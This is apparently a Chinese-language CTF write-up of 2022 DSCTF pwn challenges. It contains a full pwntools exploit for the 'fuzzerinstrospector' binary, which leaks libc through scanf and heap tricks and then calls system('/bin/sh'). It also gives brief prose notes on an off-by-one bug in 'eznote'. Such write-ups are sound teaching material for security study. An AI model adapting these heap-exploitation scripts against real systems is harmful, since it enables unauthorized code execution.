2022DSCTF

前言

惨遭爆零,还好被师傅们带飞进入决赛,EDI yyds

总共有四题PWN,但是有一题零解,就无法在下面复现了,能力有限。

fuzzerinstrospector

程序里面已经给了gift函数,也就是说只要泄露出libc即可,所以这题的关键点在于如何进行泄露。这里的泄露挺巧,在自己做的时候确实是怎么都没想到竟然是这样做的。

image-20220719182814054

泄露函数可以打印 堆地址 + 堆fd指针上单字节内容 + 8上的内容。因为是要泄露地址,整个程序除了这里可以打印,其他地方都是无法打印内容的,所以问题一定是处在这里。这里巧的地方就在于,假设我们在堆地址 + 8也就是bk指针开始按顺序填入0x00~0xFF,那么再加上堆地址 + 堆fd指针上单字节内容 + 8所指向的内容其实就是堆fd指针上单字节内容,相当于绕了一个弯再打印出来。

image-20220719183000965

这题的另一个点在于scanf这个函数,当参数是%u的时候,只能读取十进制数的,遇到字符就会直接判断为读取结束,而不会再进行读取,所以只要输入一个字符,八次循环一次都无法读入内容,从而把fd指针上的内容保存下来。

image-20220719183611413

其他不过就是构造出一个 unsorted bin,总共可以申请九个堆块,还是比较容易构造出的。

image-20220719184136832

gdb调试结果是一致的,所以可以借此把libc地址泄露出来。

image-20220719184537665

image-20220719184630235

最后就是传入system的地址,把/bin/sh写入堆里,完成!

image-20220719184019436

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!usr/bin/env python 
#coding=utf-8
from pickletools import bytes1
from turtle import bye
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./fuzzerinstrospector')
DEBUG = 1
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:
ip = '39.105.185.193'
port = 30007
#libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug():
gdb.attach(p, "b main")
#gdb.attach(p, "b *$rebase(0x)")


def add(idx, content):
p.sendlineafter(b"Your choice: ", b'1')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode("ascii"))
for i in range(8):
p.recvuntil(f"Index: {i}")
p.sendline('255')
p.recvuntil(b"Bitmap: ")
p.send(content)


def edit(idx, content):
p.sendlineafter(b"Your choice: ", b'2')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode("ascii"))
shell = ['47','98','105','110','47','115','104','0']
for i in range(8):
p.recvuntil(f"Index: {i}")
p.sendline(shell[i])
p.recvuntil(b"Bitmap: ")
p.send(content)


def show(idx):
p.sendlineafter(b"Your choice: ", b'3')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode("ascii"))
p.recvuntil(b"Bitmap set: \n")


def free(idx):
p.sendlineafter(b"Your choice: ", b'4')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode("ascii"))

def exec(addr):
p.sendlineafter(b"Your choice: ", b'6')
p.sendline(str(addr).encode("ascii"))

for i in range(9):
add(i, b'a'*0x100)
for i in range(8):
free(i)
for i in range(7):
add(i, b'a'*0x100)
free(8)
for i in range(7,-1,-1):
free(i)
for i in range(7):
add(i, b'a'*0x100)
p.sendlineafter(b"Your choice: ", b'1')
p.recvuntil(b"Index: ")
p.sendline('7')
p.recvuntil(b"Index: 0")
p.send(b'a')
p.recvuntil(b"Bitmap: ")
for i in range(256):
p.send(chr(i))
show(7)
leak = u64(bytes([int(p.recvline().strip().split(b' ')[1]) for _ in range(8)])) - 0x3ebeb0
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
edit(0, b'a'*0x100)
#debug()
exec(sys)
p.interactive()

rusty

代码看不懂,但是可以借助 fuzz 寻找漏洞点,这样就可以避免审计代码。

https://blog.csdn.net/Invin_cible/article/details/125812355#comments_22461454

eznote

漏洞点在申请函数里面,别的地方都只能操作索引小于等于6的,而在申请函数中却可以多申请一个,申请到索引为7的堆块。

image-20220719203004107

然后再根据底下的操作,会让第7块堆块的read_size正好把第0块堆块的size更覆盖了,造成了offbyone样式的漏洞。

image-20220719204428735

查看评论